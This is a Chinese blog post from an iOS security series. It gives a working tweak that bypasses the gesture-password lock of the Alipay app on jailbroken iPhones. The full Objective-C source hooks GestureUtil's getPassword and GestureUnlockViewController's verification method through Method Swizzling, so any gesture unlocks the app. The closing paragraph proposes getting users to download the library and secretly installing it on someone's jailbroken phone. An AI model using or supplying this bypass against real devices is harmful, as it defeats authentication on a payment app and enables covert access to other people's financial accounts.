iOS安全攻防(十四):Hack实战——支付宝app手势密码校验欺骗

原文地址:http://blog.csdn.net/yiyaaixuexi/article/details/18817667


在 iOS安全攻防(十一):Hack实战——探究支付宝app手势密码 中,介绍了如何利用gdb分析app,确定了支付宝app的手势密码格式为字符串,9个点分别对应123456789。在 iOS安全攻防(十二):iOS7的动态库注入 中,介绍了如果利用越狱大神们为我们开辟的iOS7动态库注入方法。

本文将继续深入hack实战,hook支付宝手势密码校验操作,欺骗其通过任意手势输入。


那么到现在为止,我们已经掌握了什么信息呢?
1)一个名叫 GestureUnlockViewController 的类,含有 gestureInputView:didFinishWithPassword: 方法,来处理输入的手势
2)正确的手势密码通过一个名叫 GestureUtil 的类读取,方法是 getPassword 


思路马上清晰了,我们需要做2步:
1)hook getPassword 存下正确的密码
2)hook gestureInputView:didFinishWithPassword:  替换当前输入为正确的密码


一个关键点,我们是用 Method Swizzling来hook,那么就意味操作不能过早,因为我们要保证在取到 GestureUnlockViewController 和 GestureUtil class后,才能进行imp替换。
所以, 我采用NSNotificationCenter通知机制协助完成任务。


  1. #import <objc/runtime.h>  
  2. #import <UIKit/UIKit.h>  
  3.   
  4. IMP ori_getPasswd_IMP = NULL;  
  5. IMP ori_gesture_IMP = NULL;  
  6.   
  7. @interface NSObject (HackPortal)  
  8.   
  9. @end  
  10.   
  11. @implementation NSObject (HackPortal)  
  12.   
  13. + (id)getPassword  
  14. {  
  15.     NSString *passwd = ori_getPasswd_IMP(self@selector(getPassword));  
  16.     return passwd;  
  17. }  
  18.   
  19. - (void)gestureInputView:(id)view didFinishWithPassword:(id)password  
  20. {  
  21.     password = ori_getPasswd_IMP(self@selector(getPassword));  
  22.     ori_gesture_IMP(self@selector(gestureInputView:didFinishWithPassword:), view, password);  
  23. }  
  24.   
  25. @end  
  26.   
  27. @implementation PortalListener  
  28.   
  29. - (id)init  
  30. {  
  31.     self = [super init];  
  32.     if (self) {  
  33.         [[NSNotificationCenter defaultCenter]addObserver:self  
  34.                                                 selector:@selector(appLaunched:)  
  35.                                                     name:UIApplicationDidBecomeActiveNotification  
  36.                                                   object:nil];  
  37.     }  
  38.     return self;  
  39. }  
  40.   
  41. - (void)appLaunched:(NSNotification *)notification  
  42. {  
  43.     Class class_GestureUtil = NSClassFromString(@"GestureUtil");  
  44.     Class class_PortalListener = NSClassFromString(@"PortalListener");  
  45.     Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword));  
  46.     ori_getPasswd_IMP = method_getImplementation(ori_Method);  
  47.     Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword));  
  48.     method_exchangeImplementations(ori_Method, my_Method);  
  49.       
  50.     Class class_Gesture = NSClassFromString(@"GestureUnlockViewController");  
  51.     Method ori_Method1 = class_getInstanceMethod(class_Gesture,  
  52.                                                  @selector(gestureInputView:didFinishWithPassword:));  
  53.     ori_gesture_IMP = method_getImplementation(ori_Method1);  
  54.     Method my_Method1 = class_getInstanceMethod(class_PortalListener,  
  55.                                                 @selector(gestureInputView:didFinishWithPassword:));  
  56.     method_exchangeImplementations(ori_Method1, my_Method1);  
  57. }  
  58.   
  59. -(void)dealloc  
  60. {  
  61.     [[NSNotificationCenter defaultCenter]removeObserver:self];  
  62. }  
  63.   
  64. @end  
  65.   
  66. static void __attribute__((constructor)) initialize(void)  
  67. {  
  68.     static PortalListener *entrance;  
  69.     entrance = [[PortalListener alloc]init];  
  70. }  


OK!编译好动态库,塞进iPhone试试效果吧~
不管我们输入什么手势,都会被替换为正确的密码去给gestureInputView:didFinishWithPassword:验证,然后顺利解锁。


这意味着什么呢?
意味着,我们可以通过正规的渠道让用户下载这个动态库,然后悄悄放进越狱的iPhone的/Library/MobileSubstrate/DynamicLibraries/目录下……然后……然后去给妹纸帅锅变魔术吧:“你看,我和你多心有灵犀,你改什么密码我都猜的到!”

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值